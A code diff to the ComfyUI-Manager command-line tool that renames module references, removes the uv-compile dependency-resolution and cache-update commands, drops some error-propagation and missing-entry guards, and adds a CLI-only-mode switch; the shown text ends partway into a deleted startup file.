@@ -65,7 +66,7 @@ def check_comfyui_hash():
|
||||
repo = git.Repo(comfy_path)
|
||||
core.comfy_ui_revision = len(list(repo.iter_commits('HEAD')))
|
||||
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
|
||||
except Exception:
|
||||
except:
|
||||
print('[bold yellow]INFO: Frozen ComfyUI mode.[/bold yellow]')
|
||||
core.comfy_ui_revision = 0
|
||||
core.comfy_ui_commit_datetime = 0
|
||||
@@ -81,7 +82,7 @@ def read_downgrade_blacklist():
|
||||
try:
|
||||
import configparser
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
config.read(context.manager_config_path)
|
||||
config.read(core.manager_config.path)
|
||||
default_conf = config['default']
|
||||
|
||||
if 'downgrade_blacklist' in default_conf:
|
||||
@@ -89,7 +90,7 @@ def read_downgrade_blacklist():
|
||||
items = [x.strip() for x in items if x != '']
|
||||
cm_global.pip_downgrade_blacklist += items
|
||||
cm_global.pip_downgrade_blacklist = list(set(cm_global.pip_downgrade_blacklist))
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
@@ -104,7 +105,7 @@ class Ctx:
|
||||
self.no_deps = False
|
||||
self.mode = 'cache'
|
||||
self.user_directory = None
|
||||
self.custom_nodes_paths = [os.path.join(context.comfy_base_path, 'custom_nodes')]
|
||||
self.custom_nodes_paths = [os.path.join(core.comfy_base_path, 'custom_nodes')]
|
||||
self.manager_files_directory = os.path.dirname(__file__)
|
||||
|
||||
if Ctx.folder_paths is None:
|
||||
@@ -142,14 +143,14 @@ class Ctx:
|
||||
if os.path.exists(extra_model_paths_yaml):
|
||||
utils.extra_config.load_extra_path_config(extra_model_paths_yaml)
|
||||
|
||||
context.update_user_directory(user_directory)
|
||||
core.update_user_directory(user_directory)
|
||||
|
||||
if os.path.exists(context.manager_pip_overrides_path):
|
||||
with open(context.manager_pip_overrides_path, 'r', encoding="UTF-8", errors="ignore") as json_file:
|
||||
if os.path.exists(core.manager_pip_overrides_path):
|
||||
with open(core.manager_pip_overrides_path, 'r', encoding="UTF-8", errors="ignore") as json_file:
|
||||
cm_global.pip_overrides = json.load(json_file)
|
||||
|
||||
if os.path.exists(context.manager_pip_blacklist_path):
|
||||
with open(context.manager_pip_blacklist_path, 'r', encoding="UTF-8", errors="ignore") as f:
|
||||
if os.path.exists(core.manager_pip_blacklist_path):
|
||||
with open(core.manager_pip_blacklist_path, 'r', encoding="UTF-8", errors="ignore") as f:
|
||||
for x in f.readlines():
|
||||
y = x.strip()
|
||||
if y != '':
|
||||
@@ -162,15 +163,15 @@ class Ctx:
|
||||
|
||||
@staticmethod
|
||||
def get_startup_scripts_path():
|
||||
return os.path.join(context.manager_startup_script_path, "install-scripts.txt")
|
||||
return os.path.join(core.manager_startup_script_path, "install-scripts.txt")
|
||||
|
||||
@staticmethod
|
||||
def get_restore_snapshot_path():
|
||||
return os.path.join(context.manager_startup_script_path, "restore-snapshot.json")
|
||||
return os.path.join(core.manager_startup_script_path, "restore-snapshot.json")
|
||||
|
||||
@staticmethod
|
||||
def get_snapshot_path():
|
||||
return context.manager_snapshot_path
|
||||
return core.manager_snapshot_path
|
||||
|
||||
@staticmethod
|
||||
def get_custom_nodes_paths():
|
||||
@@ -183,22 +184,18 @@ class Ctx:
|
||||
cmd_ctx = Ctx()
|
||||
|
||||
|
||||
class NodeInstallError(Exception):
|
||||
"""Raised when a node installation fails and the caller requested failure propagation."""
|
||||
pass
|
||||
|
||||
|
||||
def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
raise_on_fail = kwargs.get('raise_on_fail', False)
|
||||
|
||||
exit_on_fail = kwargs.get('exit_on_fail', False)
|
||||
print(f"install_node exit on fail:{exit_on_fail}...")
|
||||
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# install via urls
|
||||
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
|
||||
if not res.result:
|
||||
print(res.msg)
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_spec_str}'.[/bold red]")
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_spec_str)
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
else:
|
||||
print(f"{cnt_msg} [INSTALLED] {node_spec_str:50}")
|
||||
else:
|
||||
@@ -233,34 +230,17 @@ def install_node(node_spec_str, is_all=False, cnt_msg='', **kwargs):
|
||||
print("")
|
||||
else:
|
||||
print(f"[bold red]ERROR: An error occurred while installing '{node_name}'.\n{res.msg}[/bold red]")
|
||||
if raise_on_fail:
|
||||
raise NodeInstallError(node_name)
|
||||
if exit_on_fail:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def reinstall_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
if core.is_valid_url(node_spec_str):
|
||||
# URL-based: resolve_node_spec returns the full URL as node_name,
|
||||
# but internal dicts are keyed by repo basename or cnr_id.
|
||||
url = node_spec_str.rstrip('/')
|
||||
cnr = unified_manager.get_cnr_by_repo(url)
|
||||
if cnr:
|
||||
node_id = cnr['id']
|
||||
unified_manager.unified_uninstall(node_id, False)
|
||||
unified_manager.purge_node_state(node_id)
|
||||
else:
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
unified_manager.unified_uninstall(repo_name, True)
|
||||
unified_manager.purge_node_state(repo_name)
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
|
||||
install_node(node_spec_str, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
else:
|
||||
node_spec = unified_manager.resolve_node_spec(node_spec_str)
|
||||
node_name, version_spec, _ = node_spec
|
||||
node_name, version_spec, _ = node_spec
|
||||
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
unified_manager.purge_node_state(node_name)
|
||||
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg, raise_on_fail=True)
|
||||
unified_manager.unified_uninstall(node_name, version_spec == 'unknown')
|
||||
install_node(node_name, is_all=is_all, cnt_msg=cnt_msg)
|
||||
|
||||
|
||||
def fix_node(node_spec_str, is_all=False, cnt_msg=''):
|
||||
@@ -458,11 +438,8 @@ def show_list(kind, simple=False):
|
||||
flag = kind in ['all', 'cnr', 'installed', 'enabled']
|
||||
for k, v in unified_manager.active_nodes.items():
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
|
||||
else:
|
||||
processed[k] = None
|
||||
cnr = unified_manager.cnr_map[k]
|
||||
processed[k] = "[ ENABLED ] ", cnr['name'], k, cnr['publisher']['name'], v[0]
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
@@ -482,11 +459,8 @@ def show_list(kind, simple=False):
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k) # NOTE: can this be None if removed from CNR after installed
|
||||
if cnr:
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
|
||||
else:
|
||||
processed[k] = None
|
||||
cnr = unified_manager.cnr_map[k]
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], ", ".join(list(v.keys()))
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
@@ -495,11 +469,8 @@ def show_list(kind, simple=False):
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
|
||||
else:
|
||||
processed[k] = None
|
||||
cnr = unified_manager.cnr_map[k]
|
||||
processed[k] = "[ DISABLED ] ", cnr['name'], k, cnr['publisher']['name'], 'nightly'
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
@@ -519,12 +490,9 @@ def show_list(kind, simple=False):
|
||||
continue
|
||||
|
||||
if flag:
|
||||
cnr = unified_manager.cnr_map.get(k)
|
||||
if cnr:
|
||||
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
|
||||
processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
|
||||
else:
|
||||
processed[k] = None
|
||||
cnr = unified_manager.cnr_map[k]
|
||||
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
|
||||
processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
|
||||
else:
|
||||
processed[k] = None
|
||||
|
||||
@@ -634,20 +602,14 @@ def for_each_nodes(nodes, act, allow_all=True, **kwargs):
|
||||
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui', 'all']]
|
||||
|
||||
total = len(nodes)
|
||||
failed = []
|
||||
for i, x in enumerate(nodes, 1):
|
||||
i = 1
|
||||
for x in nodes:
|
||||
try:
|
||||
act(x, is_all=is_all, cnt_msg=f'{i}/{total}', **kwargs)
|
||||
except NodeInstallError:
|
||||
failed.append(x)
|
||||
except Exception as e:
|
||||
print(f"ERROR: {e}")
|
||||
traceback.print_exc()
|
||||
failed.append(x)
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Failed nodes ({len(failed)}/{total}): {', '.join(str(x) for x in failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
i += 1
|
||||
|
||||
|
||||
app = typer.Typer()
|
||||
@@ -683,14 +645,6 @@ def install(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -702,20 +656,11 @@ def install(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Reinstall custom nodes")
|
||||
@@ -742,14 +687,6 @@ def reinstall(
|
||||
help="Skip installing any Python dependencies",
|
||||
),
|
||||
] = False,
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
@@ -757,20 +694,11 @@ def reinstall(
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
if uv_compile and no_deps:
|
||||
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
else:
|
||||
cmd_ctx.set_no_deps(no_deps)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
for_each_nodes(nodes, act=reinstall_node)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Uninstall custom nodes")
|
||||
@@ -815,25 +743,14 @@ def update(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After updating, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
|
||||
for x in nodes:
|
||||
if x.lower() in ['comfyui', 'comfy', 'all']:
|
||||
@@ -841,8 +758,7 @@ def update(
|
||||
break
|
||||
|
||||
update_parallel(nodes)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Disable custom nodes")
|
||||
@@ -928,28 +844,16 @@ def fix(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After fixing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
if 'all' in nodes:
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
for_each_nodes(nodes, fix_node, allow_all=True)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command("show-versions", help="Show all available versions of the node")
|
||||
@@ -1052,6 +956,31 @@ def simple_show(
|
||||
show_list(arg, True)
|
||||
|
||||
|
||||
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
|
||||
def cli_only_mode(
|
||||
mode: str = typer.Argument(
|
||||
..., help="[enable|disable]"
|
||||
),
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
|
||||
|
||||
if mode.lower() == 'enable':
|
||||
with open(cli_mode_flag, 'w'):
|
||||
pass
|
||||
print("\nINFO: `cli-only-mode` is enabled\n")
|
||||
elif mode.lower() == 'disable':
|
||||
if os.path.exists(cli_mode_flag):
|
||||
os.remove(cli_mode_flag)
|
||||
print("\nINFO: `cli-only-mode` is disabled\n")
|
||||
else:
|
||||
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
|
||||
exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
|
||||
@@ -1146,7 +1075,7 @@ def save_snapshot(
|
||||
|
||||
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
|
||||
def restore_snapshot(
|
||||
snapshot_name: str,
|
||||
snapshot_name: str,
|
||||
pip_non_url: Optional[bool] = typer.Option(
|
||||
default=None,
|
||||
show_default=False,
|
||||
@@ -1172,24 +1101,13 @@ def restore_snapshot(
|
||||
restore_to: Optional[str] = typer.Option(
|
||||
None,
|
||||
help="Manually specify the installation path for the custom node. Ignore user directory."
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if restore_to:
|
||||
cmd_ctx.update_custom_nodes_dir(restore_to)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
extras = []
|
||||
if pip_non_url:
|
||||
extras.append('--pip-non-url')
|
||||
@@ -1210,17 +1128,14 @@ def restore_snapshot(
|
||||
print(f"[bold red]ERROR: `{snapshot_path}` is not exists.[/bold red]")
|
||||
exit(1)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
try:
|
||||
asyncio.run(core.restore_snapshot(snapshot_path, extras))
|
||||
except Exception:
|
||||
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
|
||||
traceback.print_exc()
|
||||
if uv_compile:
|
||||
pip_fixer.fix_broken()
|
||||
raise typer.Exit(code=1)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1230,21 +1145,10 @@ def restore_dependencies(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
node_paths = []
|
||||
|
||||
for base_path in cmd_ctx.get_custom_nodes_paths():
|
||||
@@ -1256,14 +1160,13 @@ def restore_dependencies(
|
||||
total = len(node_paths)
|
||||
i = 1
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
for x in node_paths:
|
||||
print("----------------------------------------------------------------------------------------------------")
|
||||
print(f"Restoring [{i}/{total}]: {x}")
|
||||
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
|
||||
unified_manager.execute_install_script('', x, instant_execution=True)
|
||||
i += 1
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1276,7 +1179,7 @@ def post_install(
|
||||
):
|
||||
path = os.path.expanduser(path)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
unified_manager.execute_install_script('', path, instant_execution=True)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
@@ -1304,21 +1207,9 @@ def install_deps(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
if not os.path.exists(deps):
|
||||
@@ -1328,124 +1219,24 @@ def install_deps(
|
||||
with open(deps, 'r', encoding="UTF-8", errors="ignore") as json_file:
|
||||
try:
|
||||
json_obj = json.load(json_file)
|
||||
except Exception:
|
||||
except:
|
||||
print(f"[bold red]Invalid json file: {deps}[/bold red]")
|
||||
exit(1)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
|
||||
for k in json_obj['custom_nodes'].keys():
|
||||
state = core.simple_check_custom_node(k)
|
||||
if state == 'installed':
|
||||
continue
|
||||
elif state == 'not-installed':
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True))
|
||||
else: # disabled
|
||||
core.gitclone_set_active([k], False)
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
print("Dependency installation and activation complete.")
|
||||
|
||||
|
||||
def _finalize_resolve(pip_fixer, uv_compile) -> None:
|
||||
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
|
||||
if uv_compile:
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
else:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
def _run_unified_resolve():
|
||||
"""Shared logic for unified batch dependency resolution."""
|
||||
from comfyui_manager.common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
attribute_conflicts,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
|
||||
if not node_pack_paths:
|
||||
print("[bold yellow]No custom node packs found.[/bold yellow]")
|
||||
return
|
||||
|
||||
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
|
||||
|
||||
resolver = UnifiedDepResolver(
|
||||
node_pack_paths=node_pack_paths,
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=cm_global.pip_blacklist,
|
||||
overrides=cm_global.pip_overrides,
|
||||
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
|
||||
)
|
||||
try:
|
||||
result = resolver.resolve_and_install()
|
||||
except UvNotAvailableError:
|
||||
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if result.success:
|
||||
collected = result.collected
|
||||
if collected:
|
||||
print(
|
||||
f"[bold green]Resolved {len(collected.requirements)} deps "
|
||||
f"from {len(collected.sources)} source(s) "
|
||||
f"(skipped {len(collected.skipped)}).[/bold green]"
|
||||
)
|
||||
else:
|
||||
print("[bold green]Resolution complete (no deps needed).[/bold green]")
|
||||
else:
|
||||
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
|
||||
if result.lockfile and result.lockfile.conflicts and result.collected:
|
||||
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
|
||||
if attributed:
|
||||
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
|
||||
for pkg_name, requesters in sorted(attributed.items()):
|
||||
print(f" [yellow]{pkg_name}[/yellow]:")
|
||||
for pack_path, pkg_spec in requesters:
|
||||
print(f" {os.path.basename(pack_path)} → {pkg_spec}")
|
||||
raise typer.Exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"uv-sync",
|
||||
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
|
||||
)
|
||||
def unified_uv_compile(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Unexpected error: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
|
||||
def clear():
|
||||
cancel()
|
||||
@@ -1489,95 +1280,6 @@ def export_custom_node_ids(
|
||||
print(f"{x['id']}@unknown", file=output_file)
|
||||
|
||||
|
||||
@app.command("update-cache", help="Force-fetch all remote data and populate local cache (blocking)")
|
||||
def update_cache(
|
||||
channel: Annotated[
|
||||
str,
|
||||
typer.Option(
|
||||
show_default=False,
|
||||
help="Specify the channel"
|
||||
),
|
||||
] = None,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
if channel is not None:
|
||||
cmd_ctx.channel = channel
|
||||
|
||||
asyncio.run(_force_update_cache(cmd_ctx.channel))
|
||||
|
||||
|
||||
async def _force_update_cache(channel):
|
||||
"""Fetch all remote data and save to cache, bypassing pip/offline guards."""
|
||||
core.refresh_channel_dict()
|
||||
config = core.get_config()
|
||||
channel_url = config['channel_url']
|
||||
|
||||
os.makedirs(manager_util.cache_dir, exist_ok=True)
|
||||
|
||||
failed = []
|
||||
|
||||
# Step 1: Fetch channel JSON files directly (bypasses get_data_by_mode pip guard)
|
||||
filenames = [
|
||||
"custom-node-list.json",
|
||||
"extension-node-map.json",
|
||||
"model-list.json",
|
||||
"alter-list.json",
|
||||
"github-stats.json",
|
||||
]
|
||||
|
||||
async def fetch_and_cache(filename):
|
||||
try:
|
||||
if config.get('default_cache_as_channel_url'):
|
||||
uri = f"{channel_url}/{filename}"
|
||||
else:
|
||||
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
|
||||
|
||||
cache_uri = str(manager_util.simple_hash(uri)) + '_' + filename
|
||||
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
|
||||
|
||||
json_obj = await manager_util.get_data(uri, silent=True)
|
||||
|
||||
with manager_util.cache_lock:
|
||||
with open(cache_uri, "w", encoding='utf-8') as file:
|
||||
json.dump(json_obj, file, indent=4, sort_keys=True)
|
||||
|
||||
print(f" [CACHED] {filename}")
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] {filename}: {e}[/bold red]")
|
||||
failed.append(filename)
|
||||
|
||||
print("Fetching channel data...")
|
||||
await asyncio.gather(*[fetch_and_cache(f) for f in filenames])
|
||||
|
||||
# Step 2: Reload unified_manager with remote mode
|
||||
# cache_mode='remote' makes cache_mode==False in get_cnr_data,
|
||||
# which bypasses the dont_wait block and triggers blocking fetch_all()
|
||||
print("Fetching CNR registry data...")
|
||||
try:
|
||||
await unified_manager.reload('remote', dont_wait=False)
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] CNR registry: {e}[/bold red]")
|
||||
failed.append("CNR registry")
|
||||
|
||||
# Step 3: Load nightly data (cache files now exist from Step 1)
|
||||
print("Loading nightly data...")
|
||||
await unified_manager.load_nightly(channel or 'default', 'cache')
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Cache update incomplete. Failed: {', '.join(failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print("[bold green]Cache update complete.[/bold green]")
|
||||
|
||||
|
||||
def main():
|
||||
app()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
|
||||
sys.exit(app())
|
||||
@@ -1,3 +0,0 @@
|
||||
def main():
|
||||
from .__main__ import main as _main
|
||||
_main()
|
||||
@@ -1,105 +0,0 @@
|
||||
import os
|
||||
import logging
|
||||
from aiohttp import web
|
||||
from .common.manager_security import HANDLER_POLICY
|
||||
from .common import manager_security
|
||||
from comfy.cli_args import args
|
||||
|
||||
|
||||
def prestartup():
|
||||
from . import prestartup_script # noqa: F401
|
||||
logging.info('[PRE] ComfyUI-Manager')
|
||||
|
||||
|
||||
def start():
|
||||
logging.info('[START] ComfyUI-Manager')
|
||||
from .common import cm_global # noqa: F401
|
||||
|
||||
if args.enable_manager:
|
||||
if args.enable_manager_legacy_ui:
|
||||
try:
|
||||
from .legacy import manager_server # noqa: F401
|
||||
from .legacy import share_3rdparty # noqa: F401
|
||||
from .legacy import manager_core as core
|
||||
import nodes
|
||||
|
||||
logging.info("[ComfyUI-Manager] Legacy UI is enabled.")
|
||||
nodes.EXTENSION_WEB_DIRS['comfyui-manager-legacy'] = os.path.join(os.path.dirname(__file__), 'js')
|
||||
except Exception as e:
|
||||
print("Error enabling legacy ComfyUI Manager frontend:", e)
|
||||
core = None
|
||||
else:
|
||||
from .glob import manager_server # noqa: F401
|
||||
from .glob import share_3rdparty # noqa: F401
|
||||
from .glob import manager_core as core
|
||||
|
||||
if core is not None:
|
||||
